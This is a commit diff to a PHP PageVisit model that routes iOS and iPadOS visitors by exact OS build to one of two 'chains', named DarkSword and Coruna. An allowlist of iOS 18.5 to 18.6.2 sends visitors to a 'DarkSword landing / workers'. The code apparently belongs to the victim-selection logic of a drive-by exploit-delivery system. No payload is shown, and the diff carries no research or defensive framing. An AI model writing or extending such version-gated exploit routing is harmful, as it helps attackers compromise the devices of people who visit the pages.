feat: quene
This commit is contained in:
@@ -41,23 +41,44 @@ class PageVisit extends Model
|
||||
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||
}
|
||||
|
||||
/** Only these iOS builds enter the DarkSword landing / workers. */
|
||||
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
|
||||
|
||||
/**
|
||||
* t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
|
||||
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
|
||||
*/
|
||||
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
|
||||
{
|
||||
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
return self::isDarkSwordIosVersionString($osVersion)
|
||||
? self::CHAIN_DARKSWORD
|
||||
: self::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
public static function isDarkSwordIosVersionString(?string $osVersion): bool
|
||||
{
|
||||
$canon = self::canonicalIosVersion($osVersion);
|
||||
|
||||
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
|
||||
*/
|
||||
public static function canonicalIosVersion(?string $osVersion): string
|
||||
{
|
||||
$version = trim((string) $osVersion);
|
||||
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
|
||||
return self::CHAIN_CORUNA;
|
||||
}
|
||||
if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
|
||||
return self::CHAIN_DARKSWORD;
|
||||
return '';
|
||||
}
|
||||
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
|
||||
|
||||
return self::CHAIN_CORUNA;
|
||||
return $parts[2] === 0
|
||||
? $parts[0].'.'.$parts[1]
|
||||
: $parts[0].'.'.$parts[1].'.'.$parts[2];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
|
||||
Reference in New Issue
Block a user